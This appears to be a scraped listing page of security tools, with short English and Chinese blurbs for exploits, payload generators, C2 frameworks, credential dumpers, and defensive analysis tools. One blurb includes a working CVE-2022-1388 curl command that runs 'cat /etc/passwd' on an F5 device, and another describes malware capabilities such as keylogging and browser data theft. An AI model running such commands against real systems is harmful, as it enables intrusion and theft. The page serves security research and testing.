CVE-2022-37706-LPE-exploit

CVE-2022-37706 Hola chicos, esta vez voy a hablar de un 0-day reciente que encontré en uno de los principales gestores de ventanas de Linux llamado Enlightenment https://www.enlightenment.org/. Este 0-day lleva a cualquier usuario a privilegios de root muy fácil e instantáneamente. El exploit est...

msfpc

MSFvenom Payload Creator MSFPC A quick way to generate various "basic" Meterpreter payloads via msfvenom part of the Metasploit framework. About MSFvenom Payload Creator MSFPC is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as simple as possible only...

nimux

纯 Nim 编写的网络枚举与远程执行工具包 nimux - 原生操作员工具包 nimux 是一个面向授权安全评估的原生命令界面。它将网络枚举、轻量级 Web 发现、凭据验证、Active Directory 操作、Kerberos 工作流、远程执行、文件传输、机密收集、DCSync、GPO 操作、数据库客户端和 SOCKS 路由整合到一个纯 Nim 工具包中。 当前版本：v1.0.6 您正在访问 nimux 的官方公共仓库。 网站：https://nimux.wiki 文档：https://docs.nimux.wiki 源码：https://github.com/blue0x1/nim...

Detect-It-Easy

Detect It Easy DiE is a powerful tool for file type identification, popular among malware analysts , cybersecurity experts , and reverse engineers worldwide. Supporting both signature-based and heuristic analysis , DiE enables efficient file inspections across a broad range of platforms, includin...

dolos_cloak

Dolos Cloak Dolos Cloak is a python script designed to help network penetration testers and red teamers bypass 802.1x solutions by using an advanced man-in-the-middle attack. The tool is able to piggyback on the wired connection of a victim device that is already allowed on the target network...

CVE-2022-1388-RCE-checker-and-POC-Exploit

CVE-2022-1388 RCE 检测工具 简单的 bash 脚本，用于检查 CVE-2022-1388 RCE（F5 BIG-IP）。 + 用法：./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC 利用 不要忘记更改 IP 地址 root@kitploit: curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat /etc/passwd'" -H "Connection: keep-alive,...

HiveJack

HiveJack This tool can be used during internal penetration testing to dump Windows credentials from an already-compromised host. It allows one to dump SYSTEM, SECURITY and SAM registry hives and once copied to the attacker machines provides an option to delete these files to clear the trace. Ofte...

mvt

Mobile Verification Toolkit !IMPORTANT We recently merged the "v3" branch. This introduced breaking changes. If you relied on mvt output in other scripts They might have broken. More details: https://github.com/mvt-project/mvt/issues/757 Mobile Verification Toolkit MVT is a collection of utilitie...

CVE-2025-32433-PoC

CVE-2025-32433: Erlang/OTP SSH 未认证远程代码执行 PoC 本仓库包含 CVE-2025-32433 的概念验证（PoC），该漏洞是影响 Erlang/Open Telecom Platform OTP SSH 服务器实现的一个严重未认证远程代码执行（RCE）漏洞。此 PoC 仅用于教育目的、安全研究和 CTF 挑战。 ⚠️ 免责声明 – 仅限教育与道德使用 ⚠️ 本 PoC 严格仅供教育和道德黑客目的使用。它旨在用于受控环境，例如隔离的虚拟机或 CTF 平台，并且您已获得明确许可进行安全测试。 切勿 将此 PoC...

bandjacks

Bandjacks 网络威胁防御世界建模系统 概述 Bandjacks 是一个全面的网络威胁情报（CTI）系统，能够： 在 12-40 秒内 从威胁报告中提取 MITRE ATT&CK 技术 构建威胁行为者、技术和防御措施的知识图谱 生成符合 STIX 2.1 的捆绑包，并带有完整的溯源追踪 集成 D3FEND 本体以提供防御建议 提供向量搜索和图分析能力 计算 共现分析 以识别技术模式 通过 LLM 响应缓存，提取速度比早期版本快 94% 包含 Next.js 前端 用于报告审核和分析可视化 📚 文档 指南| 描述 ---|--- 快速开始| 在 5 分钟内启动并运行 完整安装|...

manticore

⚠️ Project is archived ⚠️ This project is no longer internally developed and maintained. Manticore Manticore is a symbolic execution tool for the analysis of smart contracts and binaries. Features Program Exploration : Manticore can execute a program with symbolic inputs and explore all the...

awesome-canbus

Awesome CAN Bus 🚜 Awesome Tools, Hardware And Resources For CAN Bus This curated list helps a reverse engineering CAN bus devices with lightly specializing in automotive embedded controller software and communication understanding. Note Items marked as "🔝" are highly recommended. Permanent URL to...

Vulmap

Vulmap is an open-source online local vulnerability scanner project. It consists of online local vulnerability scanning programs for Windows and Linux operating systems. These scripts can be used for defensive and offensive purposes. It is possible to make vulnerability assessments using these...

Quantum-Silicon-Core-Loader

Quantum Silicon Core Loader Primary Core: qslcl.asm v0.0.2 under development Assistant Module: qslcl.bin v0.7.4 Universal Controller: qslcl.py v2.2.2 Legally Protected Research - This project operates under established legal frameworks for security research, right to repair, and academic freedom...

dexcalibur

WiP : Moving to dexcalibur 2.0 | codename : Reversense Dexcalibur Dexcalibur is an Android reverse engineering platform focus on instrumentation automation. Its particularity is to use dynamic analysis to improve static analysis heuristics. It aims automate boring tasks related to dynamic...

pbtk

pbtk - 逆向工程 Protobuf 应用 Protobuf 是一种序列化格式，由 Google 开发，并越来越多地应用于 Android、Web、桌面及其他应用程序中。它包含一套用于声明数据结构的语言 ，该语言随后会被编译成代码或其他类型的结构，具体取决于目标实现。 pbtk（ Protobuf 工具包 ）是一套完整的脚本集，可通过统一的图形界面访问，提供两大主要功能： 从程序中提取 Protobuf 结构 ，将其转换回可读的 .proto 文件，支持多种实现： 所有主流的 Java 运行时（base、Lite、Nano、Micro、J2ME），完全支持 Proguard，...

pbtk

pbtk - Reverse engineering Protobuf apps Protobuf is a serialization format developed by Google and used in an increasing number of Android, web, desktop and more applications. It consists of a language for declaring data structures , which is then compiled to code or another kind of structure...

mothership_c2

Mothership C2 $\textcolorred\textDISCLAIMER!$ $\textcolorred\textTHIS TOOL IS FOR ETHICAL USE ONLY!$ Description Mothership C2 is a command and control server written in python Features Supports end-to-end encryption for sending and receiving commands Uses HTTP for everything Currently supports...

Phoenix-Framework

Phoenix-框架 Phoenix 是一个基于异步的后渗透框架，它利用受信任的站点进行 C2 通信。 支持的平台 Phoenix 目前通过以下平台的 Bot API 提供支持： Discord Telegram Reddit（即将推出） Phoenix 提供以下基本功能： 字符串混淆 自动下载用户在聊天中上传的附件 自毁功能以阻碍取证分析 键盘记录，并支持捕获窗口标题 摄像头与桌面捕获及实时流传输 浏览器数据窃取 ... 命令 root@kitploit: Command Description ------- ----------- /hello 检查机器人是否在主机上活跃 /hel...

InfraGuard

红队基础设施跟踪器与C2重定向器——RedWarden的现代替代方案。 InfraGuard位于互联网与你的C2团队服务器之间，根据你的可塑C2配置文件验证每个入站请求，并阻止任何不符合要求的流量。扫描器、机器人和蓝队探测会被重定向到诱饵站点，而合法的beacon流量则通过代理转发至你的团队服务器。 架构 功能特性 代理与监听器 多域名代理 —— 同时代理多个域名，每个域名拥有独立的C2配置文件、上游服务器和规则 多协议监听器 —— HTTP/HTTPS、DNS、MQTT和WebSocket监听器同时运行，共享IP情报与事件跟踪 熔断器 ——...